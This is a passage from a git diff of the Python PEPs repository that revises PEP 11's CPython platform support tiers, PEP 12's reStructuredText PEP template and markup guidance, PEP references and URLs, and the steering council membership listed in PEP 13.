- (see PEP 484 for details). + (see :pep:`484` for details). .. rubric:: Footnotes @@ -1509,8 +1446,6 @@ similar to those on function annotations described above: References ========== -.. [1] PEP 7, Style Guide for C Code, van Rossum - .. [2] Barry's GNU Mailman style guide http://barry.warsaw.us/software/STYLEGUIDE.txt @@ -1521,8 +1456,6 @@ References .. [5] Typeshed repo https://github.com/python/typeshed -.. [6] Suggested syntax for Python 2.7 and straddling code - https://www.python.org/dev/peps/pep-0484/#suggested-syntax-for-python-2-7-and-straddling-code Copyright diff --git a/pep-0009.txt b/pep-0009.txt index a94b4f5917f..107ed077d00 100644 --- a/pep-0009.txt +++ b/pep-0009.txt @@ -8,9 +8,11 @@ Type: Process Content-Type: text/x-rst Created: 14-Aug-2001 Post-History: -Resolution: https://mail.python.org/mailman/private/peps/2016-January/001165.html +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/2YMHVPRDWGQLA5A2FKXE2JMLM2HQEEGW/ + :: + Update As of 05-Jan-2016, this PEP is officially deprecated and replaced @@ -196,12 +198,12 @@ Resolution: https://mail.python.org/mailman/private/peps/2016-January/001165.htm References [7] PEP 1, PEP Purpose and Guidelines, Warsaw, Hylton - http://www.python.org/dev/peps/pep-0001/ + http://peps.python.org/pep-0001/ If you decide to provide an explicit URL for a PEP, please use this as the URL template: - http://www.python.org/dev/peps/pep-xxxx/ + http://peps.python.org/pep-xxxx/ PEP numbers in URLs must be padded with zeros from the left, so as to be exactly 4 characters wide, however PEP numbers in the text @@ -211,10 +213,10 @@ Resolution: https://mail.python.org/mailman/private/peps/2016-January/001165.htm References [1] PEP 1, PEP Purpose and Guidelines, Warsaw, Hylton - http://www.python.org/dev/peps/pep-0001/ + http://peps.python.org/pep-0001/ [2] PEP 12, Sample reStructuredText PEP Template, Goodger, Warsaw - http://www.python.org/dev/peps/pep-0012/ + http://peps.python.org/pep-0012/ [3] http://www.opencontent.org/openpub/ @@ -226,10 +228,11 @@ Resolution: https://mail.python.org/mailman/private/peps/2016-January/001165.htm -Local Variables: -mode: indented-text -indent-tabs-mode: nil -sentence-end-double-space: t -fill-column: 70 -coding: utf-8 -End: +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0011.txt b/pep-0011.txt index 482b7c89464..30da4023dc2 100644 --- a/pep-0011.txt +++ b/pep-0011.txt @@ -1,5 +1,5 @@ PEP: 11 -Title: Removing support for little used platforms +Title: CPython platform support Version: $Revision$ Last-Modified: $Date$ Author: Martin von Löwis , @@ -8,115 +8,149 @@ Status: Active Type: Process Content-Type: text/x-rst Created: 07-Jul-2002 -Post-History: 18-Aug-2007 - 16-May-2014 - 20-Feb-2015 +Post-History: `18-Aug-2007 `__, + `14-May-2014 `__, + `20-Feb-2015 `__, + `10-Mar-2022 `__, Abstract --------- +======== This PEP documents how an operating system (platform) becomes -supported in CPython and documents past support. +supported in CPython, what platforms are currently supported, and +documents past support. Rationale ---------- +========= Over time, the CPython source code has collected various pieces of platform-specific code, which, at some point in time, was -considered necessary to use Python on a specific platform. +considered necessary to use CPython on a specific platform. Without access to this platform, it is not possible to determine whether this code is still needed. As a result, this code may -either break during Python's evolution, or it may become +either break during CPython's evolution, or it may become unnecessary as the platforms evolve as well. -The growing amount of these fragments poses the risk of +Allowing these fragments to grow poses the risk of unmaintainability: without having experts for a large number of platforms, it is not possible to determine whether a certain change to the CPython source code will work on all supported platforms. To reduce this risk, this PEP specifies what is required for a -platform to be considered supported by Python as well as providing a -procedure to remove code for platforms with few or no Python +platform to be considered supported by CPython as well as providing a +procedure to remove code for platforms with few or no CPython users. -Supporting platforms --------------------- - -Gaining official platform support requires two things. First, a core -developer needs to volunteer to maintain platform-specific code. This -core developer can either already be a member of the Python -development team or be given contributor rights on the basis of -maintaining platform support (it is at the discretion of the Python -development team to decide if a person is ready to have such rights -even if it is just for supporting a specific platform). - -Second, a stable buildbot must be provided [2]_. This guarantees that -platform support will not be accidentally broken by a Python core -developer who does not have personal access to the platform. For a -buildbot to be considered stable it requires that the machine be -reliably up and functioning (but it is up to the Python core -developers to decide whether to promote a buildbot to being -considered stable). - -This policy does not disqualify supporting other platforms -indirectly. Patches which are not platform-specific but still done to -add platform support will be considered for inclusion. For example, -if platform-independent changes were necessary in the configure -script which were motivated to support a specific platform that could -be accepted. Patches which add platform-specific code such as the -name of a specific platform to the configure script will generally -not be accepted without the platform having official support. - -CPU architecture and compiler support are viewed in a similar manner -as platforms. For example, to consider the ARM architecture supported -a buildbot running on ARM would be required along with support from -the Python development team. In general it is not required to have -a CPU architecture run under every possible platform in order to be -considered supported. - -Unsupporting platforms ----------------------- - -If a certain platform that currently has special code in CPython is -deemed to be without enough Python users or lacks proper support from -the Python development team and/or a buildbot, a note must be posted -in this PEP that this platform is no longer actively supported. This -note must include: - -- the name of the system -- the first release number that does not support this platform - anymore, and -- the first release where the historical support code is actively - removed - -In some cases, it is not possible to identify the specific list of -systems for which some code is used (e.g. when autoconf tests for -absence of some feature which is considered present on all -supported systems). In this case, the name will give the precise -condition (usually a preprocessor symbol) that will become -unsupported. - -At the same time, the CPython source code must be changed to -produce a build-time error if somebody tries to install Python on -this platform. On platforms using autoconf, configure must fail. -This gives potential users of the platform a chance to step -forward and offer maintenance. - - -Re-supporting platforms ------------------------ - -If a user of a platform wants to see this platform supported -again, he may volunteer to maintain the platform support. Such an -offer must be recorded in the PEP, and the user can submit patches -to remove the build-time errors, and perform any other maintenance -work for the platform. +This PEP also lists what plaforms *are* supported by the CPython +interpreter. This lets people know what platforms are directly +supported by the CPython development team. + + +Support tiers +============= + +Platform support is broken down into *tiers*. Each tier comes with +different requirements which lead to different promises being made +about support. + +To be promoted to a tier, steering council support is required and is +expected to be driven by team consensus. Demotion to a lower tier +occurs when the requirements of the current tier are no longer met for +a platform for an extended period of time based on the judgment of +the release manager or steering council. For platforms which no longer +meet the requirements of any tier by b1 of a new feature release, an +announcement will be made to warn the community of the pending removal +of support for the platform (e.g. in the b1 announcement). If the +platform is not brought into line for at least one of the tiers by the +first release candidate, it will be listed as unsupported in this PEP. + +Tier 1 +------ + + +- `STATUS `__ +- CI failures block releases. +- Changes which would break the ``main`` branch are not allowed to be merged; + any breakage should be fixed or reverted immediately. +- All core developers are responsible to keep ``main``, and thus these + platforms, working. +- Failures on these platforms **block a release**. + +======================== ===== +Target Triple Notes +======================== ===== +i686-pc-windows-msvc +x86_64-pc-windows-msvc +x86_64-apple-darwin BSD libc, clang +x86_64-unknown-linux-gnu glibc, gcc +======================== ===== + + +Tier 2 +------ + +- `STATUS `__ +- Must have a reliable buildbot. +- At least **two** core developers are signed up to support the platform. +- Changes which break any of these platforms are to be **fixed or + reverted within 24 hours**. +- Failures on these platforms **block a release**. + +============================= ========================== ======== +Target Triple Notes Contacts +============================= ========================== ======== +aarch64-apple-darwin clang Ned Deily, Ronald Oussoren, Dong-hee Na +aarch64-unknown-linux-gnu glibc, gcc Petr Viktorin, Victor Stinner + + glibc, clang Victor Stinner, Gregory P. Smith +powerpc64le-unknown-linux-gnu glibc, gcc Petr Viktorin, Victor Stinner +x86_64-unknown-linux-gnu glibc, clang Victor Stinner, Gregory P. Smith +============================= ========================== ======== + + +Tier 3 +------ + +- `STATUS `__ +- Must have a reliable buildbot. +- At least **one** core developer is signed up to support the platform. +- No response SLA to failures. +- Failures on these platforms do **not** block a release. + +================================ =========================== ======== +Target Triple Notes Contacts +================================ =========================== ======== +aarch64-pc-windows-msvc Steve Dower +powerpc64le-unknown-linux-gnu glibc, clang Victor Stinner +s390x-unknown-linux-gnu glibc, gcc Victor Stinner +x86_64-unknown-freebsd BSD libc, clang Victor Stinner +armv7l-unknown-linux-gnueabihf Raspberry Pi OS, glibc, gcc Gregory P. Smith +================================ =========================== ======== + + +All other platforms +------------------- + +Support for a platform may be partial within the code base, such as +from active development around platform support or accidentally. +Code changes to platforms not listed in the above tiers may be rejected +or removed from the code base without a deprecation process if they +cause a maintenance burden or obstruct general improvements. + +Platforms not listed here may be supported by the wider Python +community in some way. If your desired platform is not listed above, +please perform a search online to see if someone is already providing +support in some form. + + +Notes +----- Microsoft Windows ------------------ +''''''''''''''''' Microsoft has established a policy called product support lifecycle [1]_. Each product's lifecycle has a mainstream support phase, where @@ -130,9 +164,6 @@ phase is not yet expired. Subsequent bug fix releases will support the same Windows releases as the original feature release (even if the extended support phase has ended). -Because of this policy, no further Windows releases need to be listed -in this PEP. - Each feature release is built by a specific version of Microsoft Visual Studio. That version should have mainstream support when the release is made. Developers of extension modules will generally need @@ -144,8 +175,9 @@ patches will be accepted. Such build files will be removed from the source tree 3 years after the extended support for the compiler has ended (but continue to remain available in revision control). + Legacy C Locale ---------------- +''''''''''''''' Starting with CPython 3.7.0, \*nix platforms are expected to provide at least one of ``C.UTF-8`` (full locale), ``C.utf8`` (full locale) or @@ -156,8 +188,36 @@ Any Unicode-related integration problems that occur only in the legacy ``C`` locale and cannot be reproduced in an appropriately configured non-ASCII locale will be closed as "won't fix". + +Unsupporting platforms +====================== + +If a platform drops out of tiered support, a note must be posted +in this PEP that the platform is no longer actively supported. This +note must include: + +- the name of the system +- the first release number that does not support this platform + anymore, and +- the first release where the historical support code is actively + removed + +In some cases, it is not possible to identify the specific list of +systems for which some code is used (e.g. when autoconf tests for +absence of some feature which is considered present on all +supported systems). In this case, the name will give the precise +condition (usually a preprocessor symbol) that will become +unsupported. + +At the same time, the CPython source code must be changed to +produce a build-time error if somebody tries to install CPython on +this platform. On platforms using autoconf, configure must fail. +This gives potential users of the platform a chance to step +forward and offer maintenance. + + No-longer-supported platforms ------------------------------ +============================= * | Name: MS-DOS, MS-Windows 3.x | Unsupported in: Python 2.0 @@ -218,13 +278,13 @@ No-longer-supported platforms * | Name: AtheOS | Unsupported in: Python 2.6 (with "AtheOS" changed to "Syllable") - | Build broken in: Python 2.7 (edit configure to reenable) + | Build broken in: Python 2.7 (edit configure to re-enable) | Code removed in: Python 3.0 | Details: http://www.syllable.org/discussion.php?id=2320 * | Name: BeOS | Unsupported in: Python 2.6 (warning in configure) - | Build broken in: Python 2.7 (edit configure to reenable) + | Build broken in: Python 2.7 (edit configure to re-enable) | Code removed in: Python 3.0 * | Name: Systems using Mach C Threads @@ -275,19 +335,41 @@ No-longer-supported platforms | Unsupported in: Python 3.7 | Code removed in: Python 3.7 + +Discussions +=========== + +* April 2022: `Consider adding a Tier 3 to tiered platform support + `_ + (Victor Stinner) +* March 2022: `Proposed tiered platform support + `_ + (Brett Cannon) +* February 2015: `Update to PEP 11 to clarify garnering platform support + `_ + (Brett Cannon) +* May 2014: `Where is our official policy of what platforms we do support? + `_ + (Brett Cannon) +* August 2007: `PEP 11 update - Call for port maintainers to step forward + `_ + (Skip Montanaro) + + References ----------- +========== .. [1] http://support.microsoft.com/lifecycle/ -.. [2] http://buildbot.python.org/3.x.stable/ Copyright ---------- +========= -This document has been placed in the public domain. +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. - .. + +.. Local Variables: mode: indented-text indent-tabs-mode: nil diff --git a/pep-0012.rst b/pep-0012.rst index fe751dfb909..11b7e339939 100644 --- a/pep-0012.rst +++ b/pep-0012.rst @@ -7,26 +7,30 @@ Status: Active Type: Process Content-Type: text/x-rst Created: 05-Aug-2002 -Post-History: 30-Aug-2002 +Post-History: `30-Aug-2002 `__ +.. highlight:: rst + .. note:: - For those who have written a PEP before, there is a template_. + For those who have written a PEP before, there is a template_ + (which is included as a file in the `PEPs repository`_). Abstract ======== This PEP provides a boilerplate or sample template for creating your own reStructuredText PEPs. In conjunction with the content guidelines -in PEP 1 [1]_, this should make it easy for you to conform your own +in :pep:`1`, this should make it easy for you to conform your own PEPs to the format outlined below. Note: if you are reading this PEP via the web, you should first grab the text (reStructuredText) source of this PEP in order to complete the steps below. **DO NOT USE THE HTML FILE AS YOUR TEMPLATE!** -The source for this (or any) PEP can be found in the PEPs repository, -viewable on the web at https://github.com/python/peps/ . +The source for this (or any) PEP can be found in the +`PEPs repository `_, +as well as via a link at the bottom of each PEP. Rationale @@ -49,7 +53,7 @@ How to Use This Template To use this template you must first decide whether your PEP is going to be an Informational or Standards Track PEP. Most PEPs are Standards Track because they propose a new feature for the Python -language or standard library. When in doubt, read PEP 1 for details, +language or standard library. When in doubt, read :pep:`1` for details, or open a tracker issue on the PEPs repo to ask for assistance. Once you've decided which type of PEP yours is going to be, follow the @@ -79,11 +83,13 @@ directions below. - If none of the authors are Python core developers, include a Sponsor header with the name of the core developer sponsoring your PEP. -- For many PEPs, discussions will take place on python-ideas@python.org - and/or python-dev@python.org. If there is another mailing list or - public forum more appropriate for discussion of your new feature, - add a Discussions-To header right after the Author header. Most - Informational PEPs don't need a Discussions-To header. +- Add the direct URL of the PEP's canonical discussion thread + (on e.g. Python-Dev, Discourse, etc) under the Discussions-To header. + If the thread will be created after the PEP is submitted as an official + draft, it is okay to just list the venue name initially, but remember to + update the PEP with the URL as soon as the PEP is successfully merged + to the PEPs repository and you create the corresponding discussion thread. + See :pep:`PEP 1 <1#discussing-a-pep>` for more details. - Change the Status header to "Draft". @@ -109,20 +115,29 @@ directions below. first appearance in. Do not use an alpha or beta release designation here. Thus, if the last version of Python was 2.2 alpha 1 and you're hoping to get your new feature into Python 2.2, set the - header to:: + header to: + + .. code-block:: email Python-Version: 2.2 -- Leave Post-History alone for now; you'll add dates to this header - each time you post your PEP to the designated discussion forum (see - the Discussions-To header above). If you posted your PEP to the lists - on August 14, 2001 and September 3, 2001, the Post-History header - would look like:: +- Leave Post-History alone for now; you'll add dates and corresponding links + to this header each time you post your PEP to the designated discussion forum + (and update the Discussions-To header with said link, as above). + For each thread, use the date (in the ``dd-mmm-yyy`` format) as the + linked text, and insert the URLs inline as anonymous reST `hyperlinks`_, + with commas in between each posting. + + If you posted threads for your PEP on August 14, 2001 and September 3, 2001, + the Post-History header would look like, e.g.: - Post-History: 14-Aug-2001, 03-Sept-2001 + .. code-block:: email - You must manually add new dates and commit them (with a pull request - if you don't have push privileges). + Post-History: `14-Aug-2001 `__, + `03-Sept-2001 `__ + + You should add the new dates/links here as soon as you post a + new discussion thread. - Add a Replaces header if your PEP obsoletes an earlier PEP. The value of this header is the number of the PEP that your new PEP is @@ -136,38 +151,34 @@ directions below. prohibition of tab characters and the indentation requirements. See "Suggested Sections" below for a template of sections to include. -- Update your References and Copyright section. Usually you'll place - your PEP into the public domain, in which case just leave the - Copyright section alone. Alternatively, you can use the `Open - Publication License`__, but public domain is still strongly - preferred. - - __ http://www.opencontent.org/openpub/ +- Update your Footnotes section, listing any footnotes and + non-inline link targets referenced by the text. -- Leave the Emacs stanza at the end of this file alone, including the - formfeed character ("^L", or ``\f``). +- Run ``./build.py`` to ensure the PEP is rendered without errors, + and check that the output in ``build/pep-9999.html`` looks as you intend. -- Create a pull request against the https://github.com/python/peps - repository. +- Create a pull request against the `PEPs repository`_. For reference, here are all of the possible header fields (everything in brackets should either be replaced or have the field removed if it has a leading ``*`` marking it as optional and it does not apply to -your PEP):: +your PEP): + +.. code-block:: email PEP: [NNN] Title: [...] Author: [Full Name ] Sponsor: *[Full Name ] PEP-Delegate: - Discussions-To: *[...] + Discussions-To: [URL] Status: Draft Type: [Standards Track | Informational | Process] Content-Type: text/x-rst Requires: *[NNN] - Created: [YYYY-MM-DD] - Python-Version: [M.N] - Post-History: [YYYY-MM-DD] + Created: [DD-MMM-YYYY] + Python-Version: *[M.N] + Post-History: [`DD-MMM-YYYY `__] Replaces: *[NNN] Superseded-By: *[NNN] Resolution: @@ -186,14 +197,9 @@ illustrate the plaintext markup. General ------- -You must adhere to the Emacs convention of adding two spaces at the -end of every sentence. You should fill your paragraphs to column 70, -but under no circumstances should your lines extend past column 79. -If your code samples spill over column 79, you should rewrite them. - -Tab characters must never appear in the document at all. A PEP should -include the standard Emacs stanza included by example at the bottom of -this PEP. +Lines should usually not extend past column 79, +excepting URLs and similar circumstances. +Tab characters must never appear in the document at all. Section Headings @@ -301,33 +307,52 @@ Literal Blocks By the way, this is a comment, described in "Comments" below. -Literal blocks are used for code samples or preformatted ASCII art. To -indicate a literal block, preface the indented text block with -"``::``" (two colons). The literal block continues until the end of -the indentation. Indent the text block by 4 spaces. For example:: +Literal blocks are used for code samples and other preformatted text. +To indicate a literal block, preface the indented text block with +"``::``" (two colons), or use the ``.. code-block::`` directive. +Indent the text block by 4 spaces; the literal block continues until the end +of the indentation. For example:: This is a typical paragraph. A literal block follows. :: - for a in [5,4,3,2,1]: # this is program code, shown as-is - print a - print "it's..." - # a literal block continues until the indentation ends + for a in [5, 4, 3, 2, 1]: # this is program code, shown as-is + print(a) + print("it's...") -The paragraph containing only "``::``" will be completely removed from -the output; no empty paragraph will remain. "``::``" is also -recognized at the end of any paragraph. If immediately preceded by -whitespace, both colons will be removed from the output. When text -immediately precedes the "``::``", *one* colon will be removed from -the output, leaving only one colon visible (i.e., "``::``" will be -replaced by "``:``"). For example, one colon will remain visible -here:: +"``::``" is also recognized at the end of any paragraph; if not immediately +preceded by whitespace, one colon will remain visible in the final output:: - Paragraph:: + This is an example:: Literal block +By default, literal blocks will be syntax-highlighted as Python code. +For specific blocks that contain code or data in other languages/formats, +use the ``.. code-block:: language`` directive, substituting the "short name" +of the appropriate `Pygments lexer `_ +(or ``text`` to disable highlighting) for ``language``. For example:: + + .. code-block:: rst + + An example of the ``rst`` lexer (i.e. *reStructuredText*). + +For PEPs that predominantly contain literal blocks of a specific language, +use the ``.. highlight:: language`` directive with the appropriate ``language`` +at the top of the PEP body (below the headers and above the Abstract). +All literal blocks will then be treated as that language, +unless specified otherwise in the specific ``.. code-block``. For example:: + + .. highlight:: c + + Abstract + ======== + + Here's some C code:: + + printf("Hello, World!\n"); + Lists ----- @@ -437,24 +462,52 @@ Hyperlinks ---------- When referencing an external web page in the body of a PEP, you should -include the title of the page in the text, with either an inline -hyperlink reference to the URL or a footnote reference (see -`Footnotes`_ below). Do not include the URL in the body text of the -PEP. +include the title of the page or a suitable description in the text, with +either an inline hyperlink or a separate explicit target with the URL. +Do not include bare URLs in the body text of the PEP, and use HTTPS +links wherever available. Hyperlink references use backquotes and a trailing underscore to mark up the reference text; backquotes are optional if the reference text -is a single word. For example:: +is a single word. For example, to reference a hyperlink target named +``Python website``, you would write: + +.. code-block:: rst + + In this paragraph, we refer to the `Python website`_. + +If you intend to only reference a link once, and want to define it inline +with the text, insert the link into angle brackets (``<>``) after the text +you want to link, but before the closing backtick, with a space between the +text and the opening backtick. You should also use a double-underscore after +the closing backtick instead of a single one, which makes it an anonymous +reference to avoid conflicting with other target names. For example: - In this paragraph, we refer to the `Python web site`_. +.. code-block:: rst -An explicit target provides the URL. Put targets in a References -section at the end of the PEP, or immediately after the reference. + Visit the `website `__ for more. + +If you want to use one link multiple places with different linked text, +or want to ensure you don't have to update your link target names when +changing the linked text, include the target name within angle brackets +following the text to link, *with an underscore after the target name +but before the closing angle bracket* (or the link **will not work**). +For example: + +.. code-block:: rst + + For further examples, see the `documentation `_. + +An explicit target provides the URL. Put targets in the Footnotes section +at the end of the PEP, or immediately after the paragraph with the reference. Hyperlink targets begin with two periods and a space (the "explicit markup start"), followed by a leading underscore, the reference text, -a colon, and the URL (absolute or relative):: +a colon, and the URL. + +.. code-block:: rst - .. _Python web site: http://www.python.org/ + .. _Python web site: https://www.python.org/ + .. _pydocs: https://docs.python.org/ The reference text and the target text must match (although the match is case-insensitive and ignores differences in whitespace). Note that @@ -462,116 +515,122 @@ the underscore trails the reference text but precedes the target text. If you think of the underscore as a right-pointing arrow, it points *away* from the reference and *toward* the target. -The same mechanism can be used for internal references. Every unique -section title implicitly defines an internal hyperlink target. We can -make a link to the Abstract section like this:: + +Internal and PEP/RFC Links +-------------------------- + +The same mechanism as hyperlinks can be used for internal references. +Every unique section title implicitly defines an internal hyperlink target. +We can make a link to the Abstract section like this: + +.. code-block:: rst Here is a hyperlink reference to the `Abstract`_ section. The backquotes are optional since the reference text is a single word; we can also just write: Abstract_. -Footnotes containing the URLs from external targets will be generated -automatically at the end of the References section of the PEP, along -with footnote references linking the reference text to the footnotes. +To refer to PEPs or RFCs, always use the ``:pep:`` and ``:rfc:`` roles, +never hardcoded URLs. +For example: -Text of the form "PEP x" or "RFC x" (where "x" is a number) will be -linked automatically to the appropriate URLs. +.. code-block:: rst + See :pep:`1` for more information on how to write a PEP, + and :pep:`the Hyperlink section of PEP 12 <12#hyperlinks>` for how to link. -Footnotes ---------- +This renders as: -Footnote references consist of a left square bracket, a number, a -right square bracket, and a trailing underscore:: + See :pep:`1` for more information on how to write a PEP, + and :pep:`the Hyperlink section of PEP 12 <12#hyperlinks>` for how to link. - This sentence ends with a footnote reference [1]_. +PEP numbers in the text are never padded, and there is a space (not a dash) +between "PEP" or "RFC" and the number; the above roles will take care of +that for you. -Whitespace must precede the footnote reference. Leave a space between -the footnote reference and the preceding word. -When referring to another PEP, include the PEP number in the body -text, such as "PEP 1". The title may optionally appear. Add a -footnote reference following the title. For example:: +Footnotes +--------- - Refer to PEP 1 [2]_ for more information. +Footnote references consist of a left square bracket, a label, a +right square bracket, and a trailing underscore. +Instead of a number, use a label of the +form "#word", where "word" is a mnemonic consisting of alphanumerics +plus internal hyphens, underscores, and periods (no whitespace or +other characters are allowed). +For example: -Add a footnote that includes the PEP's title and author. It may -optionally include the explicit URL on a separate line, but only in -the References section. Footnotes begin with ".. " (the explicit -markup start), followed by the footnote marker (no underscores), -followed by the footnote body. For example:: +.. code-block:: rst - References - ========== + Refer to The TeXbook [#TeXbook]_ for more information. - .. [2] PEP 1, "PEP Purpose and Guidelines", Warsaw, Hylton - (http://www.python.org/dev/peps/pep-0001) +which renders as -If you decide to provide an explicit URL for a PEP, please use this as -the URL template:: + Refer to The TeXbook [#TeXbook]_ for more information. - http://www.python.org/dev/peps/pep-xxxx +Whitespace must precede the footnote reference. Leave a space between +the footnote reference and the preceding word. -PEP numbers in URLs must be padded with zeros from the left, so as to -be exactly 4 characters wide; however, PEP numbers in the text are -never padded. +Use footnotes for additional notes, explanations and caveats, as well as +for references to books and other sources not readily available online. +Native reST hyperlink targets or inline hyperlinks in the text should be +used in preference to footnotes for including URLs to online resources. -During the course of developing your PEP, you may have to add, remove, -and rearrange footnote references, possibly resulting in mismatched -references, obsolete footnotes, and confusion. Auto-numbered -footnotes allow more freedom. Instead of a number, use a label of the -form "#word", where "word" is a mnemonic consisting of alphanumerics -plus internal hyphens, underscores, and periods (no whitespace or -other characters are allowed). For example:: +Footnotes begin with ".. " (the explicit +markup start), followed by the footnote marker (no underscores), +followed by the footnote body. For example: - Refer to PEP 1 [#PEP-1]_ for more information. +.. code-block:: rst - References - ========== + .. [#TeXbook] Donald Knuth's *The TeXbook*, pages 195 and 196. - .. [#PEP-1] PEP 1, "PEP Purpose and Guidelines", Warsaw, Hylton +which renders as - http://www.python.org/dev/peps/pep-0001 + .. [#TeXbook] Donald Knuth's *The TeXbook*, pages 195 and 196. Footnotes and footnote references will be numbered automatically, and -the numbers will always match. Once a PEP is finalized, auto-numbered -labels should be replaced by numbers for simplicity. +the numbers will always match. Images ------ -If your PEP contains a diagram, you may include it in the processed -output using the "image" directive:: +If your PEP contains a diagram or other graphic, you may include it in the +processed output using the ``image`` directive: + +.. code-block:: rst .. image:: diagram.png -Any browser-friendly graphics format is possible: .png, .jpeg, .gif, -.tiff, etc. +Any browser-friendly graphics format is possible; PNG should be +preferred for graphics, JPEG for photos and GIF for animations. +Currently, SVG must be avoided due to compatibility issues with the +PEP build system. -Since this image will not be visible to readers of the PEP in source -text form, you should consider including a description or ASCII art -alternative, using a comment (below). +For accessibility and readers of the source text, you should include +a description of the image and any key information contained within +using the ``:alt:`` option to the ``image`` directive: + +.. code-block:: rst + + .. image:: dataflow.png + :alt: Data flows from the input module, through the "black box" + module, and finally into (and through) the output module. Comments -------- -A comment block is an indented block of arbitrary text immediately +A comment is an indented block of arbitrary text immediately following an explicit markup start: two periods and whitespace. Leave the ".." on a line by itself to ensure that the comment is not misinterpreted as another explicit markup construct. Comments are not -visible in the processed document. For the benefit of those reading -your PEP in source form, please consider including a descriptions of -or ASCII art alternatives to any images you include. For example:: +visible in the processed document. For example: - .. image:: dataflow.png +.. code-block:: rst .. - Data flows from the input module, through the "black box" - module, and finally into (and through) the output module. - -The Emacs stanza at the bottom of this document is inside a comment. + This section should be updated in the final PEP. + Ensure the date is accurate. Escaping Mechanism @@ -594,7 +653,9 @@ Habits to Avoid =============== Many programmers who are familiar with TeX often write quotation marks -like this:: +like this: + +.. code-block:: text `single-quoted' or ``double-quoted'' @@ -610,133 +671,43 @@ Suggested Sections ================== Various sections are found to be common across PEPs and are outlined in -PEP 1 [1]_. Those sections are provided here for convenience. +:pep:`1`. Those sections are provided here for convenience. .. _template: -:: - - Abstract - ======== - - [A short (~200 word) description of the technical issue being addressed.] - - - Motivation - ========== - - [Clearly explain why the existing language specification is inadequate to address the problem that the PEP solves.] - - - Rationale - ========= - - [Describe why particular design decisions were made.] - - - Specification - ============= - - [Describe the syntax and semantics of any new language feature.] - - - Backwards Compatibility - ======================= - - [Describe potential impact and severity on pre-existing code.] - - - Security Implications - ===================== - - [How could a malicious user take advantage of this new feature?] - - - How to Teach This - ================= - - [How to teach users, new and experienced, how to apply the PEP to their work.] - - - Reference Implementation - ======================== - - [Link to any existing implementation and details about its state, e.g. proof-of-concept.] - - - Rejected Ideas - ============== - - [Why certain ideas that were brought while discussing this PEP were not ultimately pursued.] - - - Open Issues - =========== - - [Any points that are still being decided/discussed.] - - - References - ========== - - [A collection of URLs used as references through the PEP.] - - - Copyright - ========= - - This document is placed in the public domain or under the - CC0-1.0-Universal license, whichever is more permissive. - - - - .. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: +.. include:: pep-0012/pep-NNNN.rst + :code: rst Resources ========= -Many other constructs and variations are possible. For more details -about the reStructuredText markup, in increasing order of -thoroughness, please see: - -* `A ReStructuredText Primer`__, a gentle introduction. - - __ http://docutils.sourceforge.net/docs/rst/quickstart.html - -* `Quick reStructuredText`__, a users' quick reference. - - __ http://docutils.sourceforge.net/docs/rst/quickref.html +Many other constructs and variations are possible, +both those supported by basic `Docutils `_ +and the extensions added by `Sphinx `_. -* `reStructuredText Markup Specification`__, the final authority. +A number of resources are available to learn more about them: - __ http://docutils.sourceforge.net/spec/rst/reStructuredText.html +* `Sphinx ReStructuredText Primer + `_, + a gentle but fairly detailed introduction. -The processing of reStructuredText PEPs is done using Docutils_. If -you have a question or require assistance with reStructuredText or -Docutils, please `post a message`_ to the `Docutils-users mailing -list`_. The `Docutils project web site`_ has more information. +* `reStructuredText Markup Specification + `_, + the authoritative, comprehensive documentation of the basic reST syntax, + directives, roles and more. -.. _Docutils: -.. _Docutils project web site: http://docutils.sourceforge.net/ -.. _post a message: - mailto:docutils-users@lists.sourceforge.net?subject=PEPs -.. _Docutils-users mailing list: - http://docutils.sf.net/docs/user/mailing-lists.html#docutils-users +* `Sphinx Roles + `_ + and `Sphinx Directives + `_, + the extended constructs added by the Sphinx documentation system used to + render the PEPs to HTML. - -References -========== - -.. [1] PEP 1, PEP Purpose and Guidelines, Warsaw, Hylton - (http://www.python.org/dev/peps/pep-0001) +If you have questions or require assistance with writing a PEP that the above +resources don't address, ping ``@python/pep-editors`` on GitHub, open an +`issue on the PEPs repository `_ +or reach out to a PEP editor directly. Copyright @@ -744,14 +715,3 @@ Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. - - - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: diff --git a/pep-0012/pep-NNNN.rst b/pep-0012/pep-NNNN.rst new file mode 100644 index 00000000000..cc66a057285 --- /dev/null +++ b/pep-0012/pep-NNNN.rst @@ -0,0 +1,89 @@ +PEP: +Title: +Author: +Sponsor: +PEP-Delegate: +Discussions-To: +Status: +Type: +Content-Type: text/x-rst +Requires: +Created: +Python-Version: +Post-History: +Replaces: +Superseded-By: +Resolution: + + +Abstract +======== + +[A short (~200 word) description of the technical issue being addressed.] + + +Motivation +========== + +[Clearly explain why the existing language specification is inadequate to address the problem that the PEP solves.] + + +Rationale +========= + +[Describe why particular design decisions were made.] + + +Specification +============= + +[Describe the syntax and semantics of any new language feature.] + + +Backwards Compatibility +======================= + +[Describe potential impact and severity on pre-existing code.] + + +Security Implications +===================== + +[How could a malicious user take advantage of this new feature?] + + +How to Teach This +================= + +[How to teach users, new and experienced, how to apply the PEP to their work.] + + +Reference Implementation +======================== + +[Link to any existing implementation and details about its state, e.g. proof-of-concept.] + + +Rejected Ideas +============== + +[Why certain ideas that were brought while discussing this PEP were not ultimately pursued.] + + +Open Issues +=========== + +[Any points that are still being decided/discussed.] + + +Footnotes +========= + +[A collection of footnotes cited in the PEP, and a place to list non-inline hyperlink targets.] + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0013.rst b/pep-0013.rst index 3b0760ea385..b51e7ff8f60 100644 --- a/pep-0013.rst +++ b/pep-0013.rst @@ -21,13 +21,13 @@ Current steering council The current steering council consists of: -* Barry Warsaw * Brett Cannon -* Carol Willing +* Gregory P. Smith +* Pablo Galindo Salgado +* Petr Viktorin * Thomas Wouters -* Victor Stinner -Per the results of the vote tracked in PEP 8101. +Per the results of the vote tracked in :pep:`8103`. The core team consists of those listed in the private https://github.com/python/voters/ repository which is publicly @@ -266,7 +266,7 @@ Core team membership acknowledges sustained and valuable efforts that align well with the philosophy and the goals of the Python project. It is granted by receiving at least two-thirds positive votes in a -core team vote that is open for one week and with no 